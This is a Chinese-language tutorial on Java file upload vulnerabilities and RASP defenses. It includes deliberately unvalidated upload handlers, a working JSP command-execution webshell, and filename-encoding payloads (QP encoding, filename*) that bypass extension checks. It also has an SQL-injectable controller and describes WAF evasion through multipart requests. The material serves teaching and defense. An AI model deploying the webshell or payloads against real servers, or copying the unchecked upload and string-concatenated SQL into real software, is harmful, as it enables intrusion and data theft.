Web应用通常都会包含文件上传功能,用户可以将其本地的文件上传到Web服务器上。如果服务器端没有能够正确的检测用户上传的文件类型是否合法(例如上传了jsp
后缀的WebShell
)就将文件写入到服务器中就可能会导致服务器被非法入侵。
Apache commons-fileupload
是一个非常常用的文件上传解析库,Spring MVC
、Struts2
、Tomcat
等底层处理文件上传请求都是使用的这个库。
示例 - Apache commons-fileupload文件上传:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.commons.fileupload.FileItemIterator" %>
<%@ page import="org.apache.commons.fileupload.FileItemStream" %>
<%@ page import="org.apache.commons.fileupload.servlet.ServletFileUpload" %>
<%@ page import="org.apache.commons.fileupload.util.Streams" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%
if (ServletFileUpload.isMultipartContent(request)) {
ServletFileUpload fileUpload = new ServletFileUpload();
FileItemIterator fileItemIterator = fileUpload.getItemIterator(request);
String dir = request.getServletContext().getRealPath("/uploads/");
File uploadDir = new File(dir);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
while (fileItemIterator.hasNext()) {
FileItemStream fileItemStream = fileItemIterator.next();
String fieldName = fileItemStream.getFieldName();// 字段名称
if (fileItemStream.isFormField()) {
String fieldValue = Streams.asString(fileItemStream.openStream());// 字段值
out.println(fieldName + "=" + fieldValue);
} else {
String fileName = fileItemStream.getName();
File uploadFile = new File(uploadDir, fileName);
out.println(fieldName + "=" + fileName);
FileOutputStream fos = new FileOutputStream(uploadFile);
// 写文件
Streams.copy(fileItemStream.openStream(), fos, true);
out.println("文件上传成功:" + uploadFile.getAbsolutePath());
}
}
} else {
%>
File upload
<%
}
%>
示例 - 本地命令执行后门代码:
<%@ page import="java.io.InputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String[] cmd = request.getParameterValues("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.println(new String(b, 0, a));
}
in.close();
%>
因为Web应用未检测用户上传的文件合法性导致了任意文件上传漏洞,访问示例中的文件上传地址:http://localhost:8000/modules/servlet/fileupload/file-upload.jsp,并选择一个恶意的jsp后门(示例上传的是一个本地命令执行的后门):
后门成功的写入到了网站目录:
访问命令执行后门测试:http://localhost:8000/uploads/cmd.jsp?cmd=ls,如下图:
Servlet3.0 新增了对文件上传请求解析的支持,javax.servlet.http.HttpServletRequest#getParts
,使用request.getParts();
即可获取文件上传包解析后的结果,从此不再需要使用第三方jar来处理文件上传请求了。
SP使用request.getParts();
必须配置multipart-config
,否则请求时会报错:Unable to process parts as no multi-part configuration has been provided
(由于没有提供multi-part配置,无法处理parts)。
在web.xml中添加如下配置:
file-upload-parts.jsp
/modules/servlet/fileupload/file-upload-parts.jsp
1000000
1000000
1000000
file-upload-parts.jsp
/modules/servlet/fileupload/file-upload-parts.jsp
示例 - file-upload-parts.jsp
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.commons.io.IOUtils" %>
<%@ page import="java.util.Collection" %>
<%@ page import="java.io.File" %>
<%
String contentType = request.getContentType();
// 检测是否是multipart请求
if (contentType != null && contentType.startsWith("multipart/")) {
String dir = request.getSession().getServletContext().getRealPath("/uploads/");
File uploadDir = new File(dir);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
Collection parts = request.getParts();
for (Part part : parts) {
String fileName = part.getSubmittedFileName();
if (fileName != null) {
File uploadFile = new File(uploadDir, fileName);
out.println(part.getName() + ": " + uploadFile.getAbsolutePath() + "
");
} else {
out.println(part.getName() + ": " + IOUtils.toString(part.getInputStream()) + "
");
}
}
} else {
%>
File upload
<%
}
%>
访问示例中的文件上传地址:http://localhost:8000/modules/servlet/fileupload/file-upload-parts.jsp:
文件上传成功:
Servlet3.0 需要配置@MultipartConfig
注解才能支持multipart
解析。
示例 - FileUploadServlet代码:
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;
import javax.servlet.ServletException;
import javax.servlet.annotation.MultipartConfig;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.Part;
import java.io.File;
import java.io.IOException;
import java.io.PrintWriter;
import java.util.Collection;
@MultipartConfig
@WebServlet(urlPatterns = "/FileUploadServlet")
public class FileUploadServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
PrintWriter out = resp.getWriter();
out.println("\n" +
"\n" +
"\n" +
" \n" +
" File upload \n" +
"\n" +
"\n" +
"\n" +
"\n" +
"");
out.flush();
out.close();
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
PrintWriter out = response.getWriter();
String contentType = request.getContentType();
// 检测是否是multipart请求
if (contentType != null && contentType.startsWith("multipart/")) {
String dir = request.getSession().getServletContext().getRealPath("/uploads/");
File uploadDir = new File(dir);
if (!uploadDir.exists()) {
uploadDir.mkdir();
}
Collection parts = request.getParts();
for (Part part : parts) {
String fileName = part.getSubmittedFileName();
if (fileName != null) {
File uploadFile = new File(uploadDir, fileName);
out.println(part.getName() + ": " + uploadFile.getAbsolutePath());
FileUtils.write(uploadFile, IOUtils.toString(part.getInputStream(), "UTF-8"));
} else {
out.println(part.getName() + ": " + IOUtils.toString(part.getInputStream()));
}
}
}
out.flush();
out.close();
}
}
访问示例中的文件上传地址:http://localhost:8000/FileUploadServlet
文件上传成功:
Spring MVC会自动解析multipart/form-data
请求,将multipart
中的对象封装到MultipartRequest
对象中,所以在Controller中使用@RequestParam
注解就可以映射multipart
中的对象了,如:@RequestParam("file") MultipartFile file
。
import org.javaweb.utils.FileUtils;
import org.javaweb.utils.HttpServletResponseUtils;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.util.LinkedHashMap;
import java.util.Map;
import static org.javaweb.utils.HttpServletRequestUtils.getDocumentRoot;
@Controller
@RequestMapping("/FileUpload/")
public class FileUploadController {
@RequestMapping("/upload.php")
public void uploadPage(HttpServletResponse response) {
HttpServletResponseUtils.responseHTML(response, "\n" +
"\n" +
"\n" +
" \n" +
" File upload \n" +
"\n" +
"\n" +
"\n" +
"\n" +
"");
}
@ResponseBody
@RequestMapping("/upload.do")
public Map upload(String username, @RequestParam("file") MultipartFile file, HttpServletRequest request) {
// 文件名称
String filePath = "uploads/" + username + "/" + file.getOriginalFilename();
File uploadFile = new File(getDocumentRoot(request), filePath);
// 上传目录
File uploadDir = uploadFile.getParentFile();
// 上传文件对象
Map jsonMap = new LinkedHashMap();
if (!uploadDir.exists()) {
uploadDir.mkdirs();
}
try {
FileUtils.copyInputStreamToFile(file.getInputStream(), uploadFile);
jsonMap.put("url", filePath);
jsonMap.put("msg", "上传成功!");
} catch (IOException e) {
jsonMap.put("msg", "上传失败,服务器异常!");
}
return jsonMap;
}
}
访问示例中的文件上传地址:http://localhost:8000/FileUpload/upload.do,如下图:
后门成功的写入到了网站目录:
QP编码( quoted-printable
)是邮件协议中的一种内容编码方式,Quoted-printable
是使用可打印的ASCII字符(如字母、数字与“=”)表示各种编码格式下的字符,以便能在7-bit数据通路上传输8-bit数据, 或者更一般地说在非8-bit clean媒体上正确处理数据,这被定义为MIME content transfer encoding。
示例 - JavaQP编码代码:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.mail.internet.MimeUtility" %>
<%
String qp = request.getParameter("qp");
String encode = MimeUtility.encodeText(qp);
String decode = MimeUtility.decodeText(encode);
out.println("\nQP-Encoding: " + encode + "\nQP-Decode: " + decode);
%>
字符串:测试.jsp
编码后的结果如下:
QP编码本与文件上传没有什么关系,但是由于在Java中最常用的Apache commons fileupload库从1.3开始支持了RFC 2047 Header值编码,从而支持解析使用QP编码后的文件名。
上传文件的时候选一个文件名经过QP编码后的文件,如:=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?=
(测试.jsp)。
示例 - 文件上传测试:
示例 - Payload:
Content-Disposition: form-data; name="file"; filename="=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ejsp?="
编码处理类:org.apache.commons.fileupload.util.mime.MimeUtility#decodeText
文件上传成功后文件名被编码成了测试.jsp
。
Spring MVC中同样支持QP编码,在Spring中有两种处理Multipart
的Resolver
: org.springframework.web.multipart.commons.CommonsMultipartResolver
和org.springframework.web.multipart.support.StandardServletMultipartResolver
。CommonsMultipartResolver
使用的是commons fileupload
解析的所以支持QP编码。StandardMultipartHttpServletRequest
比较特殊,Spring 4没有处理QP编码:
但是在Spring 5修改了实现,如果文件名是=?
开始?=
结尾的话会调用javax.mail
库的MimeDelegate
解析QP编码:
使用的是StandardServletMultipartResolver
,但是基于配置的Spring MVC中经常会使用CommonsMultipartResolver
,如:
Spring会对文件上传的名称做特殊的处理,org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest
内置了一种比较特殊的解析文件名的方式,如果传入的multipart
请求无法直接使用filename=
解析出文件名,Spring还会使用content-disposition
解析一次(使用filename*=
解析文件名)。
在文件上传时,修改Content-Disposition
中的filename=
为filename*="UTF-8'1.jpg'1.jsp"
:
Spring4的org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest
解析逻辑:
Spring4的org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#extractFilenameWithCharset
代码如下:
支持对传入的文件名编码,示例中传入的UTF-8'1.jpg'1.jsp
会被解析成UTF-8
编码,最终的文件名为1.jsp
,而1.jpg
则会被丢弃。
Spring5的org.springframework.web.multipart.support.StandardMultipartHttpServletRequest#parseRequest
除了支持QP编码以外,优化了Spring4的解析文件名的方式:
org.springframework.http.ContentDisposition#parse
代码:
文件上传成功:
示例 - Payload:
Content-Disposition: form-data; name="file"; filename*="1.jsp"
Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'1.jsp"
Content-Disposition: form-data; name="file"; filename*="UTF-8'1.jpg'=?UTF-8?Q?=E6=B5=8B=E8=AF=95=2Ej
在2013年左右,测试过非常多的WAF都不支持Multipart解析,当时经常使用Multipart请求方式来绕过WAF。Multipart所以使用请求与普通的GET/POST参数传输有非常大的区别,因为Multipart请求需要后端Web应用解析该请求包,Web容器也不会解析Multipart请求。WAF可能会解析Multipart但是很多时候可以直接绕过,比如很多WAF无法处理一个数据量较大的Multipart请求或者解析Multipart时不标准导致绕过。
在PHP中默认会解析Multipart请求,也就是说我们除了可以以GET/POST方式传参,还可以使用发送Multipart请求,后端一样可以接受到Multipart中的参数。在Java的MVC框架中Spring MVC、Struts2等实现了和PHP类似的功能,当框架发现请求方式是Multipart时就会主动的解析并将解析结果封装到HttpServletRequest
中。
示例 - Spring MVC 注入代码片段:
@ResponseBody
@RequestMapping("/getArticleById.php")
public SysArticle getArticleByID(String id) {
return jdbcTemplate.queryForObject(
"select * from sys_article where id = " + id,
BeanPropertyRowMapper.newInstance(SysArticle.class)
);
}
访问示例程序:http://localhost:8000/getArticleById.php?id=100000:
使用Multipart
请求注入数据库信息测试:
RASP不但应该防御Apache commons-fileupload
库的文件上传请求,还应当支持Servlet 3.0新增的javax.servlet.http.Part
。当检测到请求的文件名称包含了动态脚本文件(如:.jsp/.jspx/.jspf/.jspa/.php/.asp/.aspx
等)的 时候需要立即拦截文件上传请求。
Apache commons-fileupload
底层处理解析Multipart的类是org.apache.commons.fileupload.FileUploadBase.FileItemIteratorImpl.FileItemStreamImpl
,如下:
只需Hook FileItemStreamImpl
类的构造方法就可以获取到Multipart
的字段或者文件名称,RASP只需要检测传入的pName
参数值cmd.jsp
是否是一个合法的文件名称就可以实现文件上传校验了。
需要注意一点,Tomcat封装了Apache commons fileupload
库,并修改了fileupload类的包名,如:org.apache.tomcat.util.http.fileupload.FileUploadBase.FileItemIteratorImpl.FileItemStreamImpl#FileItemStreamImpl
,所以应当把这个类也放入检测范围内。
javax.servlet.http.Part
是一个接口,不同的容器实现可能都不一样,RASP可以对javax.servlet.http.Part
接口的getInputStream
方法进行Hook,然后调用getName
和getSubmittedFileName
就可以获取到字段名称、文件名等信息。
需要特别注意的是Jakarta EE8
修改了javax.servlet.http.Part
的API包名为:jakarta.servlet.http.Part
,为了能够适配高版本的Jakarta
API。
RASP为了更好的防御文件上传类请求,需要支持RFC 2047的QP编码,还需要支持对Spring MVC内置的文件名编码处理处理。